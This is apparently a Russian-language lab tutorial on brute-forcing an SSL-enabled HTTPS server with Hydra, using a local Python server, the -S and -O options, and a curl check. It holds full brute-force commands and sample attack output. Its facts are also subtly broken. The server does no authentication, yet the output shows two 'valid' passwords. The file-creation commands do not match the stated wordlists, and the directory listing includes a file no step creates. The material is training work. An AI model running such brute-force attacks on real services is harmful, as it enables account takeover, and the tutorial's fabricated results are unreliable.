Атака на сервисы с поддержкой SSL с использованием Hydra

HydraBeginner
Практиковаться сейчас

Введение

В этом лабораторном занятии мы рассмотрим, как атаковать сервисы, работающие с SSL, с использованием Hydra. Лабораторная работа сосредоточена на тестировании возможностей Hydra по подбору паролей на сервисах, защищенных с помощью SSL/TLS.

Сначала мы настроим локальный HTTPS-сервер с использованием Python и openssl для генерации самоподписанного сертификата и ключа, имитируя безопасную среду. Затем мы запустим Hydra с опцией -S для включения поддержки SSL и попытаемся подобрать пароль. Мы также протестируем старые протоколы SSL с использованием опции -O. Наконец, мы убедимся в успешности атаки на SSL.

Настройка локального HTTPS-сервера

На этом этапе мы настроим простой HTTPS-сервер с использованием встроенного модуля http.server Python с включенной поддержкой SSL/TLS. Это позволит нам имитировать безопасную серверную среду для тестирования возможностей Hydra в области SSL.

Сначала нам нужно сгенерировать самоподписанный сертификат и ключ. Этот сертификат будет использоваться для шифрования связи между клиентом (Hydra) и сервером. Откройте терминал и перейдите в каталог ~/project:

cd ~/project

Теперь используйте команду openssl для генерации сертификата и ключа:

openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes

Вам будет предложено ввести некоторые сведения о сертификате. Большинство полей можно оставить пустыми, нажав Enter. Обязательное поле - "Common Name" (Общее имя), вы можете ввести localhost.

Generating a RSA private key
+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:localhost
Email Address []:

Эта команда создает два файла: key.pem (закрытый ключ) и cert.pem (сертификат).

Теперь создадим Python-скрипт для нашего HTTPS-сервера. Мы будем использовать текстовый редактор nano для создания и редактирования скрипта:

nano https_server.py

Скопируйте и вставьте следующий код в редактор:

import http.server
import ssl
import os

## Create the HTTP server
httpd = http.server.HTTPServer(('127.0.0.1', 443), http.server.SimpleHTTPRequestHandler)

## Create SSL context
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile='cert.pem', keyfile='key.pem')

## Wrap the socket with SSL
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)

print("Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...")
httpd.serve_forever()

Чтобы сохранить файл в nano:

  1. Нажмите Ctrl + X для выхода.
  2. Нажмите Y для подтверждения сохранения.
  3. Нажмите Enter для подтверждения имени файла.

Теперь вы можете запустить HTTPS-сервер, используя следующую команду:

python3 https_server.py

Вы должны увидеть вывод, похожий на следующий:

Serving HTTPS on 127.0.0.1 port 443 (https://127.0.0.1:443/) ...

Оставьте это окно терминала открытым. Это ваш HTTPS-сервер. На следующих этапах мы будем использовать Hydra для попытки подобрать аутентификационные данные.

ВАЖНО: Не закрывайте окно терминала с запущенным HTTPS-сервером. Мы будем использовать его на следующих этапах.

Запуск Hydra с опцией -S для SSL

На этом этапе мы используем Hydra для проведения брутфорс-атаки на HTTPS-сервер, который мы настроили на предыдущем этапе. Опция -S сообщает Hydra использовать SSL/TLS при подключении к целевому серверу.

Сначала создадим простой список имен пользователей и паролей. Создайте файл с именем users.txt в каталоге ~/project со следующим содержимым:

test

Затем создайте файл с именем passwords.txt в каталоге ~/project со следующим содержимым:

password
test
123456

Вы можете использовать команду echo для создания и редактирования этих файлов:

echo "test" > ~/project/users.txt
echo "password" > ~/project/passwords.txt
echo "test" >> ~/project/users.txt
echo "123456" >> ~/project/passwords.txt

Теперь мы можем запустить Hydra с опцией -S для атаки на наш HTTPS-сервер. Откройте новое окно терминала (оставьте HTTPS-сервер запущенным в другом окне) и перейдите в каталог ~/project:

cd ~/project

Выполните следующую команду Hydra:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -vV

Разберем эту команду по частям:

  • hydra: Командная утилита Hydra.
  • -l test: Указывает имя пользователя, которое будет использоваться. В данном случае мы используем имя пользователя test.
  • -P passwords.txt: Указывает файл со списком паролей. Мы используем файл passwords.txt, который мы создали.
  • 127.0.0.1: Целевой IP-адрес. Это локальный адрес петли, который ссылается на наш локальный компьютер.
  • https-get /: Указывает сервис, на который будет произведена атака (HTTPS), и путь запроса (/). https-get - это модуль, который выполняет HTTP GET-запросы по SSL/TLS.
  • -S: Сообщает Hydra использовать SSL/TLS при подключении к целевому серверу. Это важно для атаки на HTTPS-сервисы.
  • -vV: Включает подробный режим, который отображает попытки входа и найденные учетные данные.

Hydra теперь попытается провести брутфорс-атаку на HTTPS-сервер, используя предоставленный список имен пользователей и паролей. Он попробует каждый пароль из файла passwords.txt для имени пользователя test.

Вы должны увидеть вывод, похожий на следующий (точный вывод может отличаться):

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:10:55
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:10:56
hydra ssl attack

Если атака завершилась успешно, Hydra отобразит правильное имя пользователя и пароль. В этом примере имя пользователя - test, а пароль - password.

Тестирование старых версий SSL с опцией -O

На этом этапе мы узнаем, как использовать опцию -O в Hydra для проверки на наличие уязвимых старых версий протоколов SSL/TLS. Опция -O заставляет Hydra использовать старые версии SSL, которые могут быть уязвимыми к различным атакам, таким как POODLE или BEAST.

Прежде чем продолжить, важно понимать, что использование старых версий протоколов SSL/TLS в целом не рекомендуется из-за уязвимостей безопасности. Этот этап предназначен для образовательных целей, чтобы показать, как Hydra можно использовать для выявления систем, которые все еще поддерживают эти устаревшие протоколы.

Для использования опции -O мы просто добавляем ее к нашей предыдущей команде Hydra. Убедитесь, что HTTPS-сервер из Шага 1 все еще запущен. Откройте новое окно терминала (оставьте HTTPS-сервер запущенным в другом окне) и перейдите в каталог ~/project:

cd ~/project

Теперь выполните следующую команду Hydra:

hydra -l test -P passwords.txt 127.0.0.1 https-get / -S -O -vV

Единственное отличие между этой командой и командой из Шага 2 - это добавление опции -O.

  • -O: Принудительно заставляет Hydra использовать старые версии SSL.

Hydra теперь попытается провести брутфорс-атаку на HTTPS-сервер, используя старые версии протоколов SSL/TLS. Вывод будет похож на вывод предыдущего шага, но вы, возможно, увидите предупреждения или ошибки, связанные с использованием старых версий SSL.

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 14:13:19
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-gets://127.0.0.1:443/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "123456" - 2 of 2 [child 1] (0/0)
[443][http-get] host: 127.0.0.1   login: test   password: password
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)
[443][http-get] host: 127.0.0.1   login: test   password: 123456
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 14:13:19

Если атака завершилась успешно, Hydra отобразит правильное имя пользователя и пароль, как и на предыдущем этапе. Основная идея этого шага заключается в том, что опция -O позволяет нам проверить совместимость сервера со старыми версиями протоколов SSL/TLS.

Возможно, сервер отклонит соединение, если он не поддерживает старые протоколы. В таком случае Hydra, возможно, не найдет пароль. Однако цель этого шага - продемонстрировать использование опции -O, а не обязательно гарантировать успешный вход.

Подтверждение успешного SSL-атаки

На этом этапе мы подтвердим успешность атаки с использованием Hydra, попробовав получить доступ к HTTPS-серверу с помощью учетных данных, которые мы обнаружили. Это покажет, что Hydra действительно смог успешно провести брутфорс-атаку на сервер.

Сначала убедитесь, что HTTPS-сервер из Шага 1 все еще запущен.

Мы будем использовать команду curl для доступа к серверу и проверки возможности аутентификации с правильным именем пользователя и паролем.

Откройте новое окно терминала (оставьте HTTPS-сервер запущенным в другом окне) и перейдите в каталог ~/project:

cd ~/project

Теперь выполните следующую команду curl:

curl -k -u test:password https://127.0.0.1

Разберем эту команду по частям:

  • curl: Командная утилита для передачи данных по URL-адресам.
  • -k: Позволяет curl продолжать работу и выполнять запросы даже для соединений с серверами, которые обычно считаются небезопасными. Поскольку мы используем самоподписанный сертификат, curl обычно откажется установить соединение.
  • -u test:password: Указывает имя пользователя и пароль для аутентификации. Мы используем учетные данные test:password, которые мы обнаружили на предыдущих этапах.
  • https://127.0.0.1: URL-адрес HTTPS-сервера.

Если аутентификация прошла успешно, curl отобразит содержимое корневого каталога сервера. Поскольку мы используем модуль http.server в Python, скорее всего, будет отображаться список файлов и каталогов в каталоге ~/project.

Вы должны увидеть вывод, похожий на следующий (точный вывод может отличаться в зависимости от файлов в каталоге ~/project):

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Directory listing for /</title>
  </head>
  <body>
    <h1>Directory listing for /</h1>
    <hr />
    <ul>
      <li><a href="cert.pem">cert.pem</a></li>
      <li><a href="https_server.py">https_server.py</a></li>
      <li><a href="key.pem">key.pem</a></li>
      <li><a href="passwords.txt">passwords.txt</a></li>
      <li><a href="server.pem">server.pem</a></li>
      <li><a href="users.txt">users.txt</a></li>
    </ul>
    <hr />
  </body>
</html>

Это подтверждает, что мы смогли успешно аутентифицироваться на HTTPS-сервере с использованием учетных данных, обнаруженных Hydra. Это демонстрирует эффективность Hydra при брутфорс-атаках на слабые пароли, даже при использовании соединений SSL/TLS.

Если вместо списка каталогов вы видите сообщение об ошибке, убедитесь, что HTTPS-сервер все еще запущен и что вы используете правильное имя пользователя и пароль.

Резюме

В этом лабораторном занятии мы научились атаковать сервисы, работающие с SSL, с использованием Hydra. Первым шагом было настройка локального HTTPS-сервера с помощью модуля http.server в Python и создание самоподписанного сертификата и ключа с использованием openssl для имитации безопасной среды.

Затем мы исследовали возможности Hydra, запустив его с опцией -S для включения соединений по SSL и опцией -O для тестирования старых версий протоколов SSL. Наконец, мы подтвердили успешность атаки на SSL, показав, что Hydra способен провести брутфорс-атаку на учетные данные при использовании протоколов SSL/TLS.